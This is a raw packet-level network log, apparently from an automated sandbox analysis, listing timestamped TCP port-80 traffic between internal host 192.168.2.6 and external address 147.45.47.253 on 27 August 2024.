Aug 27, 2024 20:12:06.321229935 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321243048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321254969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321255922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321278095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321285009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321291924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321295977 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321326971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321502924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321513891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321525097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321536064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321544886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321547985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321559906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321578026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321584940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321608067 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321619034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321803093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321814060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321824074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321841002 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321860075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321908951 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321919918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321929932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321942091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.321949005 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321964979 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.321995020 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.322011948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.322052002 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323098898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323123932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323137045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323141098 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323268890 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323281050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323292017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323303938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323303938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323314905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323318005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323323965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323329926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323342085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323362112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323385954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323415995 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323431015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323453903 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323470116 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323510885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323523998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323535919 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323545933 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323549032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323566914 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323584080 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323692083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323704958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323719978 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323729038 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323734045 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323745012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323757887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323782921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323790073 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323818922 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323898077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323909044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323920965 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323931932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323932886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323946953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323950052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.323959112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323976994 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.323976994 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324006081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324007988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324016094 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324048996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324181080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324192047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324208021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324219942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324232101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324234962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324234962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324244022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324253082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324255943 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324266911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324285030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324306011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324322939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324359894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324359894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324372053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324397087 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324418068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324425936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324436903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324464083 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324479103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324769974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324781895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.324810028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.324829102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.405225039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405253887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405272961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405283928 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405294895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405303001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.405307055 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405318975 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405324936 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.405365944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.405380964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405421972 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.405591011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405602932 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405613899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405627012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405633926 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.405670881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.405692101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.405725956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.406021118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406100988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.406130075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406168938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.406220913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406234026 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406244993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406258106 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406275034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.406303883 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.406433105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406444073 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406450033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406466007 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406493902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.406505108 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.406908035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406919003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406949043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.406975985 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.406990051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407054901 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407064915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407077074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407093048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407094955 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407124996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407138109 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407269001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407280922 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407293081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407305002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407311916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407318115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407330036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407331944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407341957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407356024 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407360077 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407372952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407376051 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407392025 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407416105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407628059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407639980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407650948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407664061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407671928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407691956 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407715082 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407798052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407809019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407819986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407830000 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407834053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407844067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407855034 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407867908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407885075 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407885075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407898903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407908916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.407916069 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407928944 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.407953024 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408140898 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408152103 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408163071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408178091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408180952 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408185005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408196926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408205032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408207893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408238888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408262968 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408395052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408433914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408437967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408471107 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408495903 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408509016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408539057 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408551931 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408617020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408626080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408639908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408665895 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408668995 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408691883 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408710957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408716917 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408759117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408781052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408792019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408803940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408816099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408823013 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408857107 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408931017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408942938 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408953905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.408967018 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.408994913 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410165071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410176039 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410187006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410217047 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410239935 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410293102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410305023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410315990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410326958 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410339117 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410355091 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410357952 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410386086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410409927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410437107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410449982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410463095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410470009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410480976 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410485983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410506010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410522938 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410566092 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410604000 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410679102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410691023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410701990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410712957 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410717010 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410725117 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410736084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410737991 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410748959 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410761118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410765886 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410782099 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410797119 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410893917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410906076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410917044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.410937071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.410953999 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411086082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411097050 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411108017 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411118031 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411128044 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411128998 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411139011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411147118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411156893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411170006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411173105 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411180973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411192894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411192894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411204100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411223888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411238909 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411475897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411518097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411520004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411545038 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411570072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411581993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411601067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411611080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411627054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411638021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411638975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411648035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.411658049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411674976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.411705017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493074894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493093967 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493107080 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493118048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493129969 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493129969 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493154049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493158102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493175030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493190050 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493242979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493253946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493264914 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493278027 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493294001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493326902 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493376970 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493392944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493418932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493443966 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.493470907 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493483067 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.493494034 CEST	80	49710	147.45.47.253	192.168.2.6
